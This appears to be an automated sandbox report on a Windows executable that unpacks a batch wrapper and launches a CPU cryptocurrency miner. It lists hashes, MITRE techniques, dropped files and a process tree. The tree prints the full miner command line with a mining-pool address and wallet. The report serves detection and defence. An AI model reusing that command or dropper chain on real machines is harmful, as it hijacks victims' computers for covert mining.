73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 06:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1056	b2e.exe
4084	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4084	cpuminer-sse2.exe
4084	cpuminer-sse2.exe
4084	cpuminer-sse2.exe
4084	cpuminer-sse2.exe
4084	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4820-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 1056	4820	batexe.exe	85
PID 4820 wrote to memory of 1056	4820	batexe.exe	85
PID 4820 wrote to memory of 1056	4820	batexe.exe	85
PID 1056 wrote to memory of 2620	1056	b2e.exe	86
PID 1056 wrote to memory of 2620	1056	b2e.exe	86
PID 1056 wrote to memory of 2620	1056	b2e.exe	86
PID 2620 wrote to memory of 4084	2620	cmd.exe	89
PID 2620 wrote to memory of 4084	2620	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7271.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
15.7MB

MD5
87337c8af9f853830b52844da8704131

SHA1
31d79e9e2c0fe79ad091b3a421707604b4f7ca64

SHA256
55055b409a37a458aa894e2bd99af31d8f315d7637bf9f8da1940b8227b2b19b

SHA512
b5f8c3226a8f486600fe370253481e179481b783b3c1464e4723a1c04a503a8f0d8a6f0a87945133a5f2b7e0185a0d88ff8e14b5f63fab4921e33123d6c597c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
5.8MB

MD5
77751a7a6b15a8c7001312f2224f2e7a

SHA1
ca14159035f74267744d8e91a9390a15525d218e

SHA256
891fdc54478c2182cabebc9bf03a443c5d6157c070a5c9c13cdbcdcd34c56255

SHA512
3543011ffe5ad9a562cf248596724f67750f7cbee3b5839be6a747ad3964bdc8c4e4065e4a7540c2707f554c51921e484a390960e9e957dbd97d9145d1de6997

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
5.1MB

MD5
97e9e80b8924d5092730e62c23d04d59

SHA1
138ce6c3b57a5635c32366b1aa19e592f22f0a06

SHA256
49d12f184a86b890d08c0ef3bf2051d5012cd15c5cd4b400a54d239bf85b1af5

SHA512
cabd382ed7f32c7870c40786c82357def52a7ec10cb4d129be08a53600ba30f3afb9caaa39a7d44c386a15a85f3c38a900b04d7eabf94427eb059e9845dc1ec4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7271.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
fb964e80fb42c2f3e825f4167ed1f405

SHA1
0d714cb60d12ea8d4a2ff51ad7d577f54886ffdf

SHA256
fed93b77960647aafd07f3fe63c38b0cec82059b929fab7068be63ea619a7154

SHA512
afb3be0df0d10f9794d12ffa9adaa2e3c4b82f012a8fd142f954736fc4ce5fb9b4c8400ff801bd0f86d9452440df2d7dcba0615f1c4fea0b01d6929c6e2280d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
c4eced579addd27bf2de1ff2686565e3

SHA1
e9460f35232a025d8d05a095d253b5888900f289

SHA256
9bc8464de00a6a1c5751cfe67f252abea1ac2fb223b3d373c9e61150faf1d0ef

SHA512
b5c2fb383cdb69c56201ef90676fba8633232af054b37989680b312575b0ac9e12264d96cace831d2f7a79f2b779b0596a8cbbb548ad341458dde212ccad8e10

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
7a7dc7bd20b4f478260b7c71dc9ce6d3

SHA1
40fff51b7bd29b6bcbb7a58daba6b1f50eaa19d7

SHA256
03968bb8351ebd86149ca34f3f12a77755d25b5ddda3b041b635a887134b55dc

SHA512
cbd3634de7ebf07a7de80f2fafb4a20708dd449d08915f9c1fafa72ca0fbdc910dac819fd0bd28a35e2cbf2afa39a2a21e24b8b902fd37321f8979a144398c67

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
29f36365230a04021a2bd768de88f449

SHA1
3e70a52a9d5be9df76b82e9be0a359e6a59ef8ee

SHA256
1204f1d1c6bc187f1d1bc3afa0f6211672e3f9718ba955a3be54feb45a2e5bda

SHA512
86271550b038556280632a1d30d434cb6d85eb6a269ab13ec11cff72d2b874b320a0e106058a85b7aaec59083f9e7b42d65b0232cbff4521cf1a47ec840c6c66

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
c1be7205e8513836287961beed07e3d9

SHA1
3fb00d35699abb9d69b842dedfce7893fce70450

SHA256
56ed916d04de180bdbff0bd2cd3e7337681b7924ce4334b966b87e29faa88f72

SHA512
3d1e2346cd52fd1f473fc393e62a689ce7649e601b4dd4c7d588b8338df7f598aa461a962cf3e1881a435a0a6b613e451bb95955e38912dadbff71aba716a013

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1056-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1056-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4084-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4084-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/4084-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/4084-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4084-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4084-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4820-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download